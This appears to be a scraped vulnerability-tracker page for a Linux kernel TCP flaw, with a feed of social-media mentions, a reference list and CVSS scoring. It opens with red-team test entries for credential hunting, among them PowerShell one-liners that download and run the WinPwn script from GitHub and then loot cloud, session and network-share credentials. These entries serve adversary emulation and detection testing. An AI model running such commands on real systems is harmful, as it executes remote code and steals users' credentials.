T1552.001 Search for Git Credential Files Linux, macOS Shell

Searches the specified directory for a git credential file, which may contain plaintext credentials, access tokens, or credential helper configurations. Example files include .git-credentials and .gitconfig.

Command (Shell)

find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null

T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell

Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn

Command (PowerShell)

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive

T1552.001 WinPwn - SessionGopher Windows PowerShell

Launches SessionGopher on this system via WinPwn

Command (PowerShell)

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput

T1552.001 WinPwn - Snaffler Windows PowerShell

Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn

Command (PowerShell)

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput

T1552.001 WinPwn - passhunt Windows PowerShell

Search for Passwords on this system using passhunt via WinPwn

Command (PowerShell)

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive

T1552.001 WinPwn - powershellsensitive Windows PowerShell

Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.

Command (PowerShell)

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive

T1552.001 WinPwn - sensitivefiles Windows PowerShell

Search for sensitive files on this local system using the SensitiveFiles function of WinPwn

Command (PowerShell)

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Mentions (50)

852 mentions from 587 sources in the last 7 days BuzzFactor 100 / 100

social bsky.app @vitorprodev.bsky.social 2026-11-04 12:38 UTC

CVE-2026-98432: use-after-free en las opciones IPv4 del handshake TCP del kernel Linux. CVSS 9.8 según el CNA del kernel, afecta desde 4.4 y hay PoC públicos. Corregido en 6.1.190, 6.6.159, 6.12.113, 7.2.10 y 7.3, entre otras. www.cve.org/…
Open source
code github.com downitch 2026-11-04 11:51 UTC

downitch/CVE-2026-98432_poc
Open source
social bsky.app @synoforum.com 2026-11-04 11:15 UTC

CVE-2026-98432 & Synology Linux Kernel Branch 3.10 NOT AFFECTED / STRUCTURALLY IMMUNE #synoforum #synology #NAS #network
Open source
social bsky.app @planetfoss.net.web.brid.gy 2026-11-04 10:42 UTC
Open source
social bsky.app @howlud.bsky.social 2026-11-04 10:04 UTC

CVE-2026-98432、TrueNAS Scaleの対応版アップデートがでるまでは、とりあえず暫定対応でしのぐか
Open source
code github.com t0ge-kun 2026-11-04 08:42 UTC

t0ge-kun/CVE-2026-98432-check
Open source
social bsky.app @mm-hacker-news.bsky.social 2026-11-04 08:33 UTC

Ubuntu still has not released patch for Linux 0day RCE in almost 3 weeks https://freenode.net/article/ubuntu-lts-kernels-still-unfixed-for-critical-cve-2026-98432
Open source
code github.com t-kishida001 2026-11-04 08:32 UTC

t-kishida001/CVE-2026-98432-check
Open source
social bsky.app @cocanews.bsky.social 2026-11-04 08:31 UTC

ヨーロッパでスーパーマーケットの冷却装置を標的としたサイバー攻撃が再発 | Codebook｜Security News https://www.wacoca.com/news/2974891/ ヨーロッパでスーパーマーケットの冷却装置を標的としたサイバー攻撃が再発 Help Net Security – November 2, 2026 フランスでスーパーマーケットの冷却装置を狙った大規模サイバー攻撃が発生して [...]
Open source
social bsky.app @cocanews.bsky.social 2026-11-04 08:02 UTC

ヨーロッパでスーパーマーケットの冷却装置を標的としたサイバー攻撃が再発 | Codebook｜Security News https://www.wacoca.com/news/2974891/ ヨーロッパでスーパーマーケットの冷却装置を標的としたサイバー攻撃が再発 Help Net Security – November 2, 2026 フランスでスーパーマーケットの冷却装置を狙った大規模サイバー攻撃が発生して [...]
Open source
social bsky.app @pmloik.bsky.social 2026-11-04 07:57 UTC

Top 3 CVE for last 7 days: CVE-2026-98432: 621 interactions CVE-2026-109618: 66 interactions CVE-2026-111497: 66 interactions Top 3 CVE for yesterday: CVE-2026-98432: 59 interactions CVE-2026-58115: 12 interactions CVE-2026-58868: 11 inter…
Open source
social bsky.app @shiojiri.com 2026-11-04 06:30 UTC

Fixes available in -proposed pocket for CVE-2026-98432 | Ubuntu https://ubuntu.com//blog/fixes-available-in-proposed-pocket-for-cve-2026-98432
Open source
social bsky.app @shiojiri.com 2026-11-04 06:27 UTC

Linux kernel RCE CVE-2026-98432 > PSIRT | FortiGuard Labs https://fortiguard.fortinet.com/psirt/FG-IR-26-188
Open source
social bsky.app @rna.horobi.com 2026-11-04 05:15 UTC

CVE-2026-98432 https://ubuntu.com/security/CVE-2026-98432 Ubuntu priority が Critical になった。昨日まで High だったような… アプデはまだない。
Open source
social bsky.app @governa.lol 2026-11-04 05:12 UTC

Critical Kernel Flaw CVE-2026-98432: How to Patch #Ubuntu #Linux www.ubuntufree.com/linux-kernel...
Open source
social bsky.app @invide.bsky.social 2026-11-04 05:05 UTC

Linux TCP flaw CVE-2026-98432: Anthropic reported remote root through an MPTCP listener. RHEL fixes are out. Ubuntu LTS fixes remain in testing. Disabling MPTCP leaves the kernel bug unresolved. Patch status and what to check: blog.invidel…
Open source
social bsky.app @communityaws.bsky.social 2026-11-04 03:48 UTC

"Del CVE al parche: remediación automática con Amazon Inspector y SSM" by Carlos Ramirez #cloud-security #terraform #amazon-ec2
Open source
social bsky.app @abijita.bsky.social 2026-11-04 03:06 UTC

Linux TCP Flaw CVE-2026-98432 Gets RHEL Patches Red Hat released fixed kernels for RHEL 8, 9 and 10, while Ubuntu's fixes for the critical Linux IPv4 TCP flaw remain in testing.
Open source
social bsky.app @gslin.bsky.social 2026-11-04 01:48 UTC

https://blog.gslin.org/archives/2026/11/04/13323/ubuntu-%e4%b8%8a%e9%80%99%e6%ac%a1-cve-2026-98432-%e7%9a%84%e4%bf%ae%e6%ad%a3%e5%95%8f%e9%a1%8c/ Ubuntu 上這次 CVE-2026-98432 的修正問題 #advisory #cve #Cve2
Open source
social abpe.org @gslin 2026-11-04 01:46 UTC

https:// blog.gslin.org/archives/2026/1 1/04/13323/ubuntu-%e4%b8%8a%e9%80%99%e6%ac%a1-cve-2026-98432-%e7%9a%84%e4%bf%ae%e6%ad%a3%e5%95%8f%e9%a1%8c/ Ubuntu 上這次 CVE-2026-98432 的修正問題 # advisory # cve # Cve202698432 # kernel # linux # mitigati…
Open source
social bsky.app @ai-co-creation.bsky.social 2026-11-04 00:08 UTC

RHELに「CVSS9.8」の重大脆弱性、修正版公開…OpenShiftなど未修正製品は大丈夫か（ビジネス＋IT） - Yahoo!ニュース share.google/ASO3HTctKygJ... RHELの脆弱性でNVD等のCVSS9.8に対しRed Hatの評価が低くなるのは、「コード単体の理論上リスク」と「RHELのデフォルト構成での実効リスク」の視点が異なるため。 SELinuxやASLR、初期設定の無効化など、OS側の防御層（Mitigation）が攻撃の成立…
Open source
social bsky.app @yuxx.bsky.social 2026-11-04 00:04 UTC

Linux の脆弱性、TCP だけで攻撃が成立するんか。PHP 問題と似た話だけど範囲がさらに広いよなぁ。 x.com/brucexu_eth/...
Open source
social bsky.app @sunshowers.io 2026-11-03 23:58 UTC

from ubuntu.com/security/CVE...
Open source
social bsky.app @densuke.bsky.social 2026-11-03 23:30 UTC

更新されたよ、見に来てね!→ SMS of Death（CVE-2026-58882）は11月の Android Bulletin で Critical、CVE-2026-98432 は Ubuntu では 26.10 だけ配布済みで MPTCP で届くサーバーは約210万台、FreeRDP 3.33 は WebAssembly に対応、Arch の ISO は約323MB 縮小、KDE Linux は NTSYNC を既定に（2026/11/04 Linux・OSSトレン…
Open source
social bsky.app @taggart-tech.com 2026-11-03 23:27 UTC

If you want readable details and mitigations, we have you covered @ifin-intel.org: ifin.network/t/cve-2026-9...
Open source
social bsky.app @chromarock.bsky.social 2026-11-03 23:23 UTC

ubuntuで例のCVEに対処したカーネルがやっと出て来たので皆さんアプデしましょう → ubuntu.com/blog/fixes-a...
Open source
social fosstodon.org @116697670431919164 2026-11-03 23:04 UTC

🚨🐛 SIGINT // Cybersecurity Watch — 2026-11-04 Anthropic-found Linux kernel RCE (CVE-2026-98432, kernels since 4.4) has an AI-built exploit; Red Hat patched but Ubuntu hasn't, and crypto validators are on alert. https://www. scworld.com/bri…
Open source
social bsky.app @tkusano.jp 2026-11-03 23:04 UTC

> この脆弱性はLinuxカーネルのIPv4 TCP接続処理に影響を与え、リモートコード実行につながる可能性があります。Anthropicによって生成された未発表のエクスプロイトは、Multipath TCP（MPTCP）を使用していると説明されていますが、この脆弱性はMPTCPに特有のものではありません。執筆時点では、他に生成または公開されたエクスプロイトは知られていません。 (iPhoneの翻訳機能で翻訳)
Open source
social bsky.app @littleswan.online 2026-11-03 22:42 UTC

I was just reading about www.aikido.dev/blog/linux-k... because how does this even happen lmao have the kernel devs never heard of a race conditions before?!??!?!
Open source
code github.com zenjabba 2026-11-03 22:04 UTC

zenjabba/cve-2026-98432-mitigation
Open source
social bsky.app @thehotdrop.live 2026-11-03 22:00 UTC

An AI model wrote an exploit that gets root on Linux servers with multipath TCP. CVE-2026-98432 is CVSS 9.8; patch your kernels. YouTube: www.youtube.com/shorts/1cfFW... #Cybersecurity #Linux #PatchNow
Open source
social bsky.app @cyberveille-ch.bsky.social 2026-11-03 21:30 UTC

📢 CVE-2026-98432 : RCE critique sur le noyau Linux exploitant MPTCP, Akamai/Linode déploie des mitigations Le 30 octobre 2026, Akamai (plateforme cloud Linode) a publié un avis de sécurité client sur sa page de statut officielle concernant…
Open source
social bsky.app @cyberveille-ch.bsky.social 2026-11-03 21:00 UTC

📢 CVE-2026-98432 : Use-After-Free dans la pile TCP IPv4 du noyau Linux — analyse et outil de détection Ce dépôt présente une analyse technique approfondie de la CVE-2026-98432, une vulnérabilité de type Use-After-Free (UAF) dans… 🔴 vérific…
Open source
social bsky.app @undercodenews.bsky.social 2026-11-03 20:53 UTC

Linux Kernel Vulnerability CVE-2026-98432 Allows Root Command Execution Through Exposed MPTCP Listener + Video Critical Security Concern Exploitation Demonstrated November 3, 2026 Introduction: A Linux Kernel Flaw Could Give Attackers Root…
Open source
social bsky.app 2026-11-03 20:28 UTC

O my cyber droogs. CVE-2026-98432 It's a use-after-free vulnerability in a Linux kernel's IPv4 TCP net stack that can allow an unauthenticated remote attacker to run arbitrary code with kernel privileges. Been around since kernel 4.4 acces…
Open source
social bsky.app 2026-11-03 20:28 UTC

O my cyber droogs. CVE-2026-98432 It's a use-after-free vulnerability in a Linux kernel's IPv4 TCP net stack that can allow an unauthenticated remote attacker to run arbitrary code with kernel privileges. Been around since kernel 4.4 acces…
Open source
social bsky.app 2026-11-03 20:28 UTC

O my cyber droogs. CVE-2026-98432 It's a use-after-free vulnerability in a Linux kernel's IPv4 TCP net stack that can allow an unauthenticated remote attacker to run arbitrary code with kernel privileges. Been around since kernel 4.4 acces…
Open source
social bsky.app @caerdwyn.bsky.social 2026-11-03 20:28 UTC

O my cyber droogs. CVE-2026-98432 It's a use-after-free vulnerability in a Linux kernel's IPv4 TCP net stack that can allow an unauthenticated remote attacker to run arbitrary code with kernel privileges. Been around since kernel 4.4 acces…
Open source
code github.com hdp1972be-svg 2026-11-03 20:27 UTC

hdp1972be-svg/cve_2026_98432_guard
Open source
social bsky.app @aitraderview.bsky.social 2026-11-03 20:22 UTC

Solana Foundation Urges Ubuntu Validator Operators to Mitigate Critical Linux Flaw CVE-2026-98432 Before a Patch Arrives aitraderview.com/2026/11/03/s... #Solana #Ubuntu #Security #Crypto
Open source
social bsky.app @365tipu.cz 2026-11-03 20:17 UTC

Ubuntu k 2. listopadu 2026 stále neopravilo kritickou chybu jádra CVE-2026-98432 (CVSS 9,8), která ohrožuje všechny podporované verze včetně LTS. chalmovsky.com/posts...
Open source
social news.ycombinator.com ranger_danger 2026-11-03 20:14 UTC

Ubuntu still has not released patch for Linux 0day RCE in almost 3 weeks
Open source
news neoteo.com 2026-11-03 19:52 UTC

Linux CVE-2026-98432: Ubuntu fixes in -proposed - NeoTeo
Open source
social bsky.app @stackwatch.de 2026-11-03 19:42 UTC

Lage 03.11. Linux CVE-2026-98432: Ubuntu noch ohne Paket (Stand 3.11.). Debian/RHEL gefixt. Tomcat CVE-2026-101296: gefixt in 11.0.27 / 10.1.61 / 9.0.123. Reel: Betrifft dich die Tomcat-Lücke? Prüfen: grep -rn JNDIRealm $CATALINA_BASE/conf…
Open source
social bsky.app @minoc2.bsky.social 2026-11-03 19:27 UTC

Not sure why this continues to be unresolved, weeks after Debian had it fixed, and almost a week after CVE-2026-98432 was made public. And this is a pathetic response: ubuntu.com/security/CVE... #Canonical #Ubuntu #wtf #CVE-2026-98432
Open source
social bsky.app @alt.pds.lefht.cc 2026-11-03 19:15 UTC

1. CVE-2026-98432 · 71 people 🟥 Critical 9.8 · Linux ipv4: free inet_opt and ireq_opt after an RCU grace period
Open source
social bsky.app @alt.pds.lefht.cc 2026-11-03 19:15 UTC

🛡️ Most-discussed CVEs on Bluesky, last 24h 1. CVE-2026-98432 · 71 people 2. CVE-2026-58115 · 23 people 3. CVE-2026-97229 · 10 people 🔥 4. CVE-2026-86596 · 9 people 5. CVE-2026-109618 · 6 people 🔥 🔥 = on CISA's Known Exploited list · detai…
Open source
social bsky.app @hacker.at.thenote.app 2026-11-03 19:13 UTC

Mutipath TCP: Use and Detection, (Mon, Nov 2nd) Last week, an often-ignored&#;x26;#;xc2;&#;x26;#;xa0;TCP option, introduced in 2020, made the news due to a new vulnerability in Linux&#;x26;#;39;s implementation (RFC&#;x26;#;xc2;&#;x26;#;xa…
Open source
social bsky.app @chuiho.net 2026-11-03 18:31 UTC

［注意］Linux TCP 欠陥 CVE-2026-98432、Ubuntu は試験版 Linux カーネル 4.4 以降の IPv4 TCP に CVSS 9.8 の欠陥。RHEL 8/9/10・Debian・Amazon Linux は修正済み。Ubuntu 22.04/24.04/26.04 は -proposed で試験中。 https://chuiho.net/posts/linux-kernel-ipv4-tcp-cve-2026-98432/ #Linux #…
Open source
social bsky.app @theitnerd.ca 2026-11-03 18:15 UTC

Critical Linux Flaw Exposes a Bigger Blind Spot in Connected Device Security If you run Linux, you might want to pay attention to CVE-2026-98432. This is a critical Linux vulnerability that could allow remote attackers to take control of a…
Open source

Title	Tags	URL
nvd.nist.gov	NVD reference	https://nvd.nist.gov/vuln/detail/CVE-2026-98432
git.kernel.org	GitHub CVE	https://git.kernel.org/stable/c/b3b027ef0cd322bfa839b9aaf5b27551eea54cf6
git.kernel.org	GitHub CVE	https://git.kernel.org/stable/c/95a8c8fa9f27dce64c40c41c062de7728bf34ab5
git.kernel.org	GitHub CVE	https://git.kernel.org/stable/c/89b5b1eb7d633c33832b7ff2c02e19a144705036
git.kernel.org	GitHub CVE	https://git.kernel.org/stable/c/742f73df544e03744f2981c467d6542fe8172a2a
git.kernel.org	GitHub CVE	https://git.kernel.org/stable/c/11a03ce3c4a62d84c10ccdfe47f8075006498568
git.kernel.org	GitHub CVE	https://git.kernel.org/stable/c/a47406c769f72c070386985488f1c4d057df86b2
git.kernel.org	GitHub CVE	https://git.kernel.org/stable/c/26d4c36d318cffbbd160884a0e4cec0da4da4936
git.kernel.org	GitHub CVE	https://git.kernel.org/stable/c/e3f33b0a1d89d738e2b913dab519226eaf76e15b
openwall.com	NVD API	http://www.openwall.com/lists/oss-security/2026/10/30/1

CVSS Analysis

CVSS v3.1

9.8

EXPLOITABILITY

Attack Vector

Network AV:N

Attack Complexity

Low AC:L

Privileges Required

None PR:N

User Interaction

None UI:N

SCOPE

Scope

Unchanged S:U

IMPACT

Confidentiality

High C:H

Integrity

High I:H

Availability

High A:H

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Prioritization

BuzzFactor

100 / 100

LEV

0.1%

Threat Level

CISA KEV

Exploited in Wild

YES

Exploit Available

PoC Available

YES

Ransomware

CVE-2026-98432

Overview

Vulnerability Description

Impact

Solution

EPSS vs KEV Prediction — Evolution (30 days)

Affected Products

Disclaimer

GitHub PoCs (66)

Threat Feed

Likely Kill Chain

Attack Vectors ML

MITRE ATT&CK Techniques (6)

CAPEC Attack Patterns

Red Team Playbook

Detection & Response Rules

Mentions (50)

References (10)